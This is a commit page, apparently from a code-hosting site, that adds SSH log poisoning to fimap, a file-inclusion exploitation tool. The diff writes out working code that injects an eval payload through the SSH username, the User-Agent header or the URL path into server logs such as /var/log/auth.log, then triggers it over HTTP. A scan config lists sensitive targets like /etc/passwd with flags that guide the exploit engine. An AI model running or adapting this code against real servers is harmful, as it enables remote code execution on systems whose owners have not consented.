Commit 8e0abe65 authored by fimap.dev@gmail.com's avatar fimap.dev@gmail.com

Added ability to find and exploit SSH logfiles.

parent 341fcee1
......@@ -118,6 +118,8 @@ class codeinjector(baseClass):
self._log("Testing %s-code injection thru Logfile HTTP-UA-Injection..."%(language), self.LOG_INFO)
elif (mode.find("F") != -1):
self._log("Testing %s-code injection thru Logfile FTP-Username-Injection..."%(language), self.LOG_INFO)
elif (mode.find("S") != -1):
self._log("Testing %s-code injection thru Logfile SSH-Username-Injection..."%(language), self.LOG_INFO)
code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict)
elif (mode.find("R") != -1):
......@@ -405,37 +407,18 @@ class codeinjector(baseClass):
#TODO: Cleanup this dirty block :)
if (code.find(testcode[1]) == -1):
self._log("Kickstarter is not present. Injecting kickstarter thru UserAgent...", self.LOG_INFO)
kickstarter = langClass.getEvalKickstarter()
ua = self.getUserAgent()
self.setUserAgent(kickstarter)
tmpurl = None
if (url.find("?") != -1):
tmpurl = url[:url.find("?")]
else:
tmpurl = url
self.doGetRequest(tmpurl, additionalHeaders = headerDict)
self.setUserAgent(ua)
self._log("Testing once again if kickstarter is present...", self.LOG_INFO)
testcode = langClass.generateQuiz()
p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0]))
if (postdata != ""):
p = "%s&%s" %(postdata, p)
code = self.doPostRequest(url, p, additionalHeaders = headerDict)
if (code.find(testcode[1]) == -1):
self._log("Failed to inject kickstarter thru UserAgent!", self.LOG_ERROR)
self._log("Trying to inject kickstarter thru Path...", self.LOG_INFO)
self._log("Ignore any 404 errors for the next request.", self.LOG_INFO)
if (m.find("H") != -1):
self._log("Kickstarter is not present. Injecting kickstarter thru UserAgent...", self.LOG_INFO)
kickstarter = langClass.getEvalKickstarter()
ua = self.getUserAgent()
self.setUserAgent(kickstarter)
tmpurl = None
if (url.find("?") != -1):
tmpurl = url[:url.find("?")]
else:
tmpurl = url
tmpurl += "?" + kickstarter
self.doGetRequest(tmpurl, additionalHeaders = headerDict)
self.setUserAgent(ua)
self._log("Testing once again if kickstarter is present...", self.LOG_INFO)
testcode = langClass.generateQuiz()
......@@ -443,16 +426,67 @@ class codeinjector(baseClass):
if (postdata != ""):
p = "%s&%s" %(postdata, p)
code = self.doPostRequest(url, p, additionalHeaders = headerDict)
if (code.find(testcode[1]) != -1):
self._log("Kickstarter successfully injected thru Path!", self.LOG_INFO)
self.isLogKickstarterPresent = True
if (code.find(testcode[1]) == -1):
self._log("Failed to inject kickstarter thru UserAgent!", self.LOG_ERROR)
self._log("Trying to inject kickstarter thru Path...", self.LOG_INFO)
self._log("Ignore any 404 errors for the next request.", self.LOG_INFO)
kickstarter = langClass.getEvalKickstarter()
tmpurl = None
if (url.find("?") != -1):
tmpurl = url[:url.find("?")]
else:
tmpurl = url
tmpurl += "?" + kickstarter
self.doGetRequest(tmpurl, additionalHeaders = headerDict)
self._log("Testing once again if kickstarter is present...", self.LOG_INFO)
testcode = langClass.generateQuiz()
p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0]))
if (postdata != ""):
p = "%s&%s" %(postdata, p)
code = self.doPostRequest(url, p, additionalHeaders = headerDict)
if (code.find(testcode[1]) != -1):
self._log("Kickstarter successfully injected thru Path!", self.LOG_INFO)
self.isLogKickstarterPresent = True
else:
self._log("Failed to inject kickstarter thru Path!", self.LOG_ERROR)
sys.exit(1)
else:
self._log("Failed to inject kickstarter thru Path!", self.LOG_ERROR)
sys.exit(1)
else:
self._log("Kickstarter successfully injected! thru UserAgent!", self.LOG_INFO)
self.isLogKickstarterPresent = True
self._log("Kickstarter successfully injected! thru UserAgent!", self.LOG_INFO)
self.isLogKickstarterPresent = True
if (m.find("S") != -1):
import ssh
if (ssh.paramikoInstalled == False):
self._log("I am soooo sorry bro but you need paramiko python module installed to use this feature!", self.LOG_ERROR)
self._log("$> sudo apt-get install python-paramiko # maybe? :)", self.LOG_ERROR)
sys.exit(1);
self._log("Kickstarter is not present. Injecting kickstarter thru SSH Username...", self.LOG_INFO)
kickstarter = langClass.getEvalKickstarter()
# Parse out hostname
hostname = url[url.find("//") +2:]
if ("/" in hostname):
hostname = hostname[:hostname.find("/")]
self._log("Trying to connect to ssh://'%s'"%(hostname), self.LOG_DEBUG)
self._log("SSH-Username: %s"%(kickstarter), self.LOG_DEVEL)
try:
ssh.Connection(hostname, username=kickstarter, password="asdf")
except:
pass
self._log("Testing once again if kickstarter is present...", self.LOG_INFO)
testcode = langClass.generateQuiz()
p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0]))
if (postdata != ""):
p = "%s&%s" %(postdata, p)
code = self.doPostRequest(url, p, additionalHeaders = headerDict)
else:
self._log("Kickstarter found!", self.LOG_INFO)
self.isLogKickstarterPresent = True
......
<?xml version="1.0" encoding="UTF-8"?>
<fimap language="generic" revision="1">
<!-- WTF is this file?
This file describes the basic scan parameters of fimap.
You can add much more files but read this facts:
* relative_files are files which *can* described in a relative way. So if it *is* possible the file goes here.
* absolute_files are files which can *only* described in a absolute way. (Say hello to php://input)
* log_files are files which need a special action to inject code into it.
* blind_files are files which should be searched in blindmode.
* remote_files are files which are used to scan for RFIs if you have disabled dynamic_rfi. You have
more success here if you add multiple sites with different suffixes. Like .php .html .htm
This is because if the truncation methods fails (NullByte\DotTrunc) then you can still scan for at least some suffixes.
fimap actually takes care of the suffix. So if the suffixes match fimap will truncate the injection so the file fits perfectly.
As you can see every file has also some parameters. Here are what there are good for:
* find: This parameter is used to see if the file actually got included. So define here something you except to see.
* unix: Set this to "1" if this file is available on unixoid systems.
* windows: Set this to "1" if this file is available on windows systems.
* flags: There are different kind of flags to tell the exploit engine how to hax this file. Here we go:
* r = This file is readable. Means we can include it and print it's content somehow.
* R = This file is a RFI. Exploit engine will use dynamic_rfi to exploit it.
* x = This flag says that this file can be used to inject payloads.
* A = This file supports direct injection through the UserAgent. (/proc/self/environ says hello)
* L = This file is a logfile. You have to combine it with one of the following options.
* H = The exploit engine should inject the kickstarter through the UserAgent.
* S = The exploit engine should inject the kickstarter through the SSH UserName.
* F = The exploit engine should inject the kickstarter through the FTP UserName.
It's up to you to combine the flags so that it hits the nail ;)
You will find also the same stuff inside the php.xml and perl.xml. The files you define there are exclusivly for the language.
The other values are trivial. If you are smart enough you can see what they are doing.
Just for your information. The weird alphanummeric combinations are Base64 encoded strings.
-->
<relative_files>
<file path="/etc/passwd" find="root:" flags="r" unix="1" windows="0"/>
<file path="c:\boot.ini" find="[operating" flags="r" unix="0" windows="1"/>
......@@ -20,6 +54,8 @@
<file path="/var/log/apache2/access_log" find='"GET /' flags="LHx" unix="1" windows="0" />
<file path="/var/log/apache/access_log" find='"GET /' flags="LHx" unix="1" windows="0" />
<file path="/var/log/httpd/access_log" find='"GET /' flags="LHx" unix="1" windows="0" />
<file path="/var/log/auth.log" find=' session ' flags="LSx" unix="1" windows="0" />
<file path="/var/log/secure" find=' session ' flags="LSx" unix="1" windows="0" />
</log_files>
<blind_files mindepth="0" maxdepth="15">
......
......@@ -36,7 +36,7 @@ import shutil
__author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)"
__date__ ="$30.08.2009 19:57:21$"
__version__ = "09_svn (For the Swarm)"
__version__ = "1.00_svn (Some good stuff!)"
config = {}
......@@ -173,6 +173,7 @@ def show_credits():
print " - Peteris Krumins (peter@catonmat.net) for xgoogle python module."
print " - Pentestmonkey from www.pentestmonkey.net for php-reverse-shell."
print " - Crummy from www.crummy.com for BeautifulSoup."
print " - zeth0 from commandline.org.uk for ssh.py."
sys.exit(0)
......@@ -266,7 +267,6 @@ if __name__ == "__main__":
print head
if (len(sys.argv) == 1):
#show_help(True)
print "Use -h for some help."
......
"""Friendly Python SSH2 interface."""
import os
import tempfile
paramikoInstalled = True
try:
import paramiko
except:
print "SSH functionallity disabled because paramiko is not installed!"
paramikoInstalled = False
class Connection(object):
"""Connects and logs into the specified hostname.
Arguments that are not given are guessed from the environment."""
def __init__(self,
host,
username = None,
private_key = None,
password = None,
port = 22,
):
self._sftp_live = False
self._sftp = None
if not username:
username = os.environ['LOGNAME']
# Log to a temporary file.
templog = tempfile.mkstemp('.txt', 'ssh-')[1]
paramiko.util.log_to_file(templog)
# Begin the SSH transport.
self._transport = paramiko.Transport((host, port))
self._tranport_live = True
# Authenticate the transport.
if password:
# Using Password.
self._transport.connect(username = username, password = password)
else:
# Use Private Key.
if not private_key:
# Try to use default key.
if os.path.exists(os.path.expanduser('~/.ssh/id_rsa')):
private_key = '~/.ssh/id_rsa'
elif os.path.exists(os.path.expanduser('~/.ssh/id_dsa')):
private_key = '~/.ssh/id_dsa'
else:
raise TypeError, "You have not specified a password or key."
private_key_file = os.path.expanduser(private_key)
rsa_key = paramiko.RSAKey.from_private_key_file(private_key_file)
self._transport.connect(username = username, pkey = rsa_key)
def _sftp_connect(self):
"""Establish the SFTP connection."""
if not self._sftp_live:
self._sftp = paramiko.SFTPClient.from_transport(self._transport)
self._sftp_live = True
def get(self, remotepath, localpath = None):
"""Copies a file between the remote host and the local host."""
if not localpath:
localpath = os.path.split(remotepath)[1]
self._sftp_connect()
self._sftp.get(remotepath, localpath)
def put(self, localpath, remotepath = None):
"""Copies a file between the local host and the remote host."""
if not remotepath:
remotepath = os.path.split(localpath)[1]
self._sftp_connect()
self._sftp.put(localpath, remotepath)
def execute(self, command):
"""Execute the given commands on a remote machine."""
channel = self._transport.open_session()
channel.exec_command(command)
output = channel.makefile('rb', -1).readlines()
if output:
return output
else:
return channel.makefile_stderr('rb', -1).readlines()
def close(self):
"""Closes the connection and cleans up."""
# Close SFTP Connection.
if self._sftp_live:
self._sftp.close()
self._sftp_live = False
# Close the SSH Transport.
if self._tranport_live:
self._transport.close()
self._tranport_live = False
def __del__(self):
"""Attempt to clean up if not explicitly closed."""
self.close()
def main():
"""Little test when called directly."""
# Set these to your own details.
myssh = Connection('example.com')
myssh.put('ssh.py')
myssh.close()
# start the ball rolling.
if __name__ == "__main__":
main()
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment